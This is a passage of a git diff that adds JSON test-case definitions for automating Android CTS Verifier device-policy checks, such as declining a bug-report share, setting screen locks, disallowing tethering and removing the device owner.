roots\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Downloads\",\"actionId\":\"ed51fc1f-1b2c-4d44-b147-2a870e3c7ba2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Downloads\"}],\"childrenIdList\":[\"ae970413-009a-4127-a5e5-407fd619375e\",\"dcdf13b6-1485-44e1-8add-4d8ff11d37b1\",\"ed51fc1f-1b2c-4d44-b147-2a870e3c7ba2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if find myCA.cer on screen","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.230000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1e25fe0b-764b-414e-b3e3-e9c11269ad93 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1e25fe0b-764b-414e-b3e3-e9c11269ad93
new file mode 100644
index 0000000..81e7341
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1e25fe0b-764b-414e-b3e3-e9c11269ad93
@@ -0,0 +1 @@
+{"uuid":"1e25fe0b-764b-414e-b3e3-e9c11269ad93","details":"{\"type\":\"CompoundAction\",\"name\":\"04-Sharing of requested bugreport declined after having been taken\",\"actionId\":\"1e25fe0b-764b-414e-b3e3-e9c11269ad93\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Sharing of requested bugreport declined after having been taken\",\"actionId\":\"e666ee6f-159b-423b-b83c-a721be375c27\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Sharing of requested bugreport declined after having been taken\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Taking bug report\\\" progress bar is present\",\"actionId\":\"33eb97f3-e89d-40b0-b89f-f5f4f62bc278\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Taking bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"WaitAction\",\"name\":\"WAIT 125 secs(Wait for bugreport to be collected)\",\"actionId\":\"8f044e59-ac15-4fa4-9c20-2b72b8d89d3a\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":125000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Taking bug report\\\" progress bar is dismissed\",\"actionId\":\"4896f16c-a703-4c5d-a662-af163d9ae9b9\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Taking bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Your admin requested a bug report to help troubleshoot this device\\\" is shown\",\"actionId\":\"898b372e-8385-4980-96b7-19cf54e1ad9f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Your admin requested a bug report to help troubleshoot this device\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, DECLINE\",\"actionId\":\"b5eb338c-cfaf-442f-9285-e5c552513672\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"DECLINE\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY notification \\\"Share bug report\\\" is dismissed\",\"actionId\":\"f600b0e4-bdcd-47e0-859d-c6ea86e295dc\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Share bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Bugreport sharing declined\\\" is  present\",\"actionId\":\"32011541-90c6-433c-87e8-8ff6c6737298\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Bugreport sharing declined\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Dismiss \\\"Bugreport sharing declined\\\"\\\" notification\",\"actionId\":\"28e6b7e3-f8bf-48e8-a697-41383e8fac22\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Bugreport sharing declined\\\").swipe()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"03ca2c4c-7493-4c11-b83c-1e746132376b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"4f3ec13b-589a-4ca3-b456-7224028d0604\",\"e666ee6f-159b-423b-b83c-a721be375c27\",\"4275df2b-8d38-49a9-b956-6d5f06257f5a\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"33eb97f3-e89d-40b0-b89f-f5f4f62bc278\",\"8f044e59-ac15-4fa4-9c20-2b72b8d89d3a\",\"4896f16c-a703-4c5d-a662-af163d9ae9b9\",\"898b372e-8385-4980-96b7-19cf54e1ad9f\",\"b5eb338c-cfaf-442f-9285-e5c552513672\",\"f600b0e4-bdcd-47e0-859d-c6ea86e295dc\",\"32011541-90c6-433c-87e8-8ff6c6737298\",\"28e6b7e3-f8bf-48e8-a697-41383e8fac22\",\"03ca2c4c-7493-4c11-b83c-1e746132376b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"04-Sharing of requested bugreport declined after having been taken","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.075000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1e49e89c-6a23-487a-86d9-a2244d725017 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1e49e89c-6a23-487a-86d9-a2244d725017
new file mode 100644
index 0000000..40ca3af
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1e49e89c-6a23-487a-86d9-a2244d725017
@@ -0,0 +1 @@
+{"uuid":"1e49e89c-6a23-487a-86d9-a2244d725017","details":"{\"type\":\"CompoundAction\",\"name\":\"Set screen lock to \\\"Swipe\\\"\",\"actionId\":\"1e49e89c-6a23-487a-86d9-a2244d725017\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Swipe\",\"actionId\":\"88a69d07-a683-4a56-b1c6-7ea2e9e434f2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Swipe\"}],\"childrenIdList\":[\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"88a69d07-a683-4a56-b1c6-7ea2e9e434f2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set screen lock to \"Swipe\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.044000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1ed2536c-bc42-41ff-8528-dea80280c9fd b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1ed2536c-bc42-41ff-8528-dea80280c9fd
new file mode 100644
index 0000000..7141056
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1ed2536c-bc42-41ff-8528-dea80280c9fd
@@ -0,0 +1 @@
+{"uuid":"1ed2536c-bc42-41ff-8528-dea80280c9fd","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Pass button\",\"actionId\":\"1ed2536c-bc42-41ff-8528-dea80280c9fd\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, pass button\",\"actionId\":\"17974bf9-448a-4b49-873f-bcc28b8ff929\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"17974bf9-448a-4b49-873f-bcc28b8ff929\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Pass button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.231000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1f828567-b1d4-4874-94a1-22d939057e69 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1f828567-b1d4-4874-94a1-22d939057e69
new file mode 100644
index 0000000..3a6c8d7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1f828567-b1d4-4874-94a1-22d939057e69
@@ -0,0 +1 @@
+{"uuid":"1f828567-b1d4-4874-94a1-22d939057e69","details":"{\"type\":\"CompoundAction\",\"name\":\"15-07-Disallow config tethering\",\"actionId\":\"1f828567-b1d4-4874-94a1-22d939057e69\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config tethering\",\"actionId\":\"a62b45e6-8c53-4773-90db-eb091a4e40d7\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config tethering\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"985f6426-940b-4a8b-8967-08276d81fb14\",\"displayText\":\"Disallow config tethering\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config tethering\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":343.3333333333333,\"x2\":360.0,\"y2\":387.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":93.0,\"y\":366.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.0,\"y\":-1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"985f6426-940b-4a8b-8967-08276d81fb14\",\"firstText\":\"Disallow config tethering\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config tethering\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":355.0,\"x2\":182.0,\"y2\":378.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config tethering\",\"actionId\":\"c17fdd4e-aecb-4ef8-b2ac-0e06dfdb0c91\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config tethering\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Hotspot & tethering\",\"actionId\":\"0f50ff5a-0e82-4e48-af6a-b14aa324e5c5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Hotspot & tethering\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"97c27738-1d85-4238-a5a5-43ea9577619a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c921ba07-1e63-44e3-8b11-b3695d0aa602\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"a62b45e6-8c53-4773-90db-eb091a4e40d7\",\"c17fdd4e-aecb-4ef8-b2ac-0e06dfdb0c91\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"0f50ff5a-0e82-4e48-af6a-b14aa324e5c5\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"97c27738-1d85-4238-a5a5-43ea9577619a\",\"c921ba07-1e63-44e3-8b11-b3695d0aa602\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-07-Disallow config tethering","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.133000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1fe89bff-e8fd-40da-a6b7-e91443c69389 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1fe89bff-e8fd-40da-a6b7-e91443c69389
new file mode 100644
index 0000000..fb53eb6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1fe89bff-e8fd-40da-a6b7-e91443c69389
@@ -0,0 +1 @@
+{"uuid":"1fe89bff-e8fd-40da-a6b7-e91443c69389","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify that on the lock screen, you are told the device is managed by \\\"Foo, Inc\\\"\",\"actionId\":\"1fe89bff-e8fd-40da-a6b7-e91443c69389\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Verify that on the lock screen, you are told the device is managed by \\\"Foo, Inc\\\"\",\"actionId\":\"348d8b93-176f-4c15-ae73-9a8aa2956ae1\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"This device belongs to Foo, Inc.\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"348d8b93-176f-4c15-ae73-9a8aa2956ae1\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify that on the lock screen, you are told the device is managed by \"Foo, Inc\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.193000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2090e04a-10af-4fc3-8149-1f22a584eb67 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2090e04a-10af-4fc3-8149-1f22a584eb67
new file mode 100644
index 0000000..e3ace04
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2090e04a-10af-4fc3-8149-1f22a584eb67
@@ -0,0 +1 @@
+{"uuid":"2090e04a-10af-4fc3-8149-1f22a584eb67","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if set PIN or Password screen appear, set password to \\\"1234\\\"\",\"actionId\":\"2090e04a-10af-4fc3-8149-1f22a584eb67\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if set PIN or Set password screen appear\",\"actionId\":\"9f453eab-95c5-4c30-ae23-c87e1c7fd09a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"For security, set PIN\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"For security, set password\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next button\",\"actionId\":\"49f35f1f-467d-4bf2-a684-47c3d79b030b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm button\",\"actionId\":\"73a41497-bb06-41f5-ac79-c4106cde3873\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"9f453eab-95c5-4c30-ae23-c87e1c7fd09a\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"49f35f1f-467d-4bf2-a684-47c3d79b030b\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"73a41497-bb06-41f5-ac79-c4106cde3873\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if set PIN or Password screen appear, set password to \"1234\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.253000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/21408006-0414-473e-87dd-282a2f4cce97 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/21408006-0414-473e-87dd-282a2f4cce97
new file mode 100644
index 0000000..d660077
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/21408006-0414-473e-87dd-282a2f4cce97
@@ -0,0 +1 @@
+{"uuid":"21408006-0414-473e-87dd-282a2f4cce97","details":"{\"type\":\"CompoundAction\",\"name\":\"Click OK button\",\"actionId\":\"21408006-0414-473e-87dd-282a2f4cce97\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, OK button\",\"actionId\":\"ff1ccc54-0101-473d-a0a7-02008d028a48\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"ff1ccc54-0101-473d-a0a7-02008d028a48\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click OK button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.259000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2208a8b1-a26d-407b-9780-6d30e4974e13 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2208a8b1-a26d-407b-9780-6d30e4974e13
new file mode 100644
index 0000000..26ce0b0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2208a8b1-a26d-407b-9780-6d30e4974e13
@@ -0,0 +1 @@
+{"uuid":"2208a8b1-a26d-407b-9780-6d30e4974e13","details":"{\"type\":\"CompoundAction\",\"name\":\"24-Remove device owner\",\"actionId\":\"2208a8b1-a26d-407b-9780-6d30e4974e13\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Remove device owner\",\"actionId\":\"1b8fdc28-12ca-42f3-8f45-d90d3a722bc0\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Remove device owner\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cdf37268-c08f-47ca-83a2-3795b56830ac\",\"displayText\":\"Remove device owner\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Remove device owner\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":631.0,\"x2\":351.25,\"y2\":673.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":650.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"cdf37268-c08f-47ca-83a2-3795b56830ac\",\"firstText\":\"Remove device owner\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Remove device owner\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":11.0,\"y1\":638.0,\"x2\":173.0,\"y2\":662.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Remove device owner\",\"actionId\":\"6fa569d0-d364-4731-babe-b07e7e114610\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Remove device owner\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Remove device owner\",\"actionId\":\"fcf83aab-1c23-4294-94e3-d5cef10580c0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Remove device owner\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"df4a1b00-e055-4925-a835-a87eca799f8a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"1b8fdc28-12ca-42f3-8f45-d90d3a722bc0\",\"6fa569d0-d364-4731-babe-b07e7e114610\",\"fcf83aab-1c23-4294-94e3-d5cef10580c0\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"df4a1b00-e055-4925-a835-a87eca799f8a\",\"4c401ff4-c80e-44d8-b94c-819dc1366093\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"24-Remove device owner","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.214000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/238c6d52-12d8-4d83-ae19-c703bcc6ec24 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/238c6d52-12d8-4d83-ae19-c703bcc6ec24
new file mode 100644
index 0000000..b6e6157
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/238c6d52-12d8-4d83-ae19-c703bcc6ec24
@@ -0,0 +1 @@
+{"uuid":"238c6d52-12d8-4d83-ae19-c703bcc6ec24","details":"{\"type\":\"CompoundAction\",\"name\":\"15-28 &amp; 17-06-13-Set permitted input methods\",\"actionId\":\"238c6d52-12d8-4d83-ae19-c703bcc6ec24\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Set permitted input methods\",\"actionId\":\"598cee73-f55c-406b-a47c-9a7d6280e299\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set permitted input methods\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a23c553f-cd73-4704-a0c6-8f1228826f21\",\"displayText\":\"Set permitted input methods\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Set permitted input methods\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":597.75,\"x2\":360.0,\"y2\":639.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":110.0,\"y\":619.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":70.0,\"y\":-0.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"a23c553f-cd73-4704-a0c6-8f1228826f21\",\"firstText\":\"Set permitted input methods\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set permitted input 